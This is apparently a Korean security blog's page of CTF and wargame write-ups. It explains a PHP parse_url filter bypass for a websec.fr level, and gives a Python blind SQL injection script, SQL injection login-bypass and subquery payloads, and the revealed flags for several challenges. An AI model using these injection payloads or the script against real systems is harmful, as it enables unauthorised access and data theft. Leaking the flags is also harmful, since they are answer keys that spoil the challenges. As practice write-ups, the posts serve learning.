문제에 들어가보면 소스코드를 제공해주는데 아래와 같다.


<?php

parse_str(parse_url($_SERVER['REQUEST_URI'])['query'], $query);

foreach ($query as $k => $v) {

if (stripos($v, 'flag') !== false)

die('You are not allowed to get the flag, sorry :/');

}

include $_GET['page'] . '.txt';

?>


코드를 보면 parse_url,paser_str을 통해 쿼리 영역을 배열로 만든 뒤 파라미터 값에 flag가 있는지 검증한다.


일반적인 방법으로는 flag를 입력할 수 없지만 parse_url 버그를 이용하면 정상적인 배열 값을 만들지 못하게 해 우회가 가능하다.


paser_url에 인풋으로 들어가는 값을 ///데이터 요런식으로 넣게 되면 아래와 같이 //가 http://와 같은역할을 하고 3번쨰 /가 path구분자 역할을 하면서 중간에 존재해야 할 host값이 존재하지 않아 에러가 터져 정상적인 값을 반환하지 못하도록 할 수 있다.


요 원리를 사용해서 아래와 같이 공격해주면 플래그 파일을 include 시킬 수 있다.



추가로 이 방법 외에도 아래와 같은 구문 또한 parse_url에서 에러를 터트려 exploit이 가능하다.


//level25/index.php?page=flag&a=:8080/&send=%EC%A0%9C%EC%B6%9C



'Wargame > websec.fr' 카테고리의 다른 글

websec.fr easy level20  (0) 2019.08.22
Websec.fr babysteps Level28  (0) 2018.12.13
Websec.kr easy level 15  (0) 2018.03.08
Websec.fr easy level 11  (0) 2018.03.08
Websec.fr easy level10  (0) 2018.03.08
블로그 이미지

JeonYoungSin

메모 기록용 공간

,

chall.stypr.com PYSandbox

2018. 12. 12. 09:16

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

chall.stypr.com RMT

2018. 12. 12. 09:10

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

XSS Thousand Knocks WriteUp

2018. 12. 5. 02:05

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

import requests


def request(payload):

    url = "http://chall.tasteless.eu/level20/index.php"

    params = {'view':payload}

    headers = {'Cookie':'__cfduid=dc8f9c4e92cf4316e617bbaa23cfc8b8f1532166053; PHPSESSID=dnn3sve7g1th9sh0164soi6ck6'}

    response = requests.get(url,params=params,headers=headers).text


    if "River" in response:

        return True

    else:

        return False


strings = "0123456789abcdef"

flag = ""

for i in range(1,33):

    for j in range(0,len(strings)):

        payload = "1,2 from level20_flag join level20 where flag like 0x"+flag+strings[j].encode("hex")+"25`"

        if request(payload) == True:

            flag+=strings[j].encode("hex")

            print "Find Flag[-] = " + flag.decode("hex")

print "Find Flag[+] = " + flag.decode("hex")



Find Flag[+] = 859db2a7ba5f7410c4f19627446f03eb

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

가입



가입한 admin 계정으로 로그인

admin/123



블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Payload

username=admin&password=%c0'^0--%20



블로그 이미지

JeonYoungSin

메모 기록용 공간

,

payload

name=\&text=,(select flag from level15_flag))-- 



블로그 이미지

JeonYoungSin

메모 기록용 공간

,

Easy



Base64 Decode

<?php

/*

the flag is 9fcee7f714b6e3a6f46d12e0dd481bd7

*/

?>



Hard



Base64 Decode

<?php

/*

the flag is 2827a7ad455bc3f396cf0524208d0e37

*/

?>

블로그 이미지

JeonYoungSin

메모 기록용 공간

,

payload

username=\&password=%20or%201%23



블로그 이미지

JeonYoungSin

메모 기록용 공간

,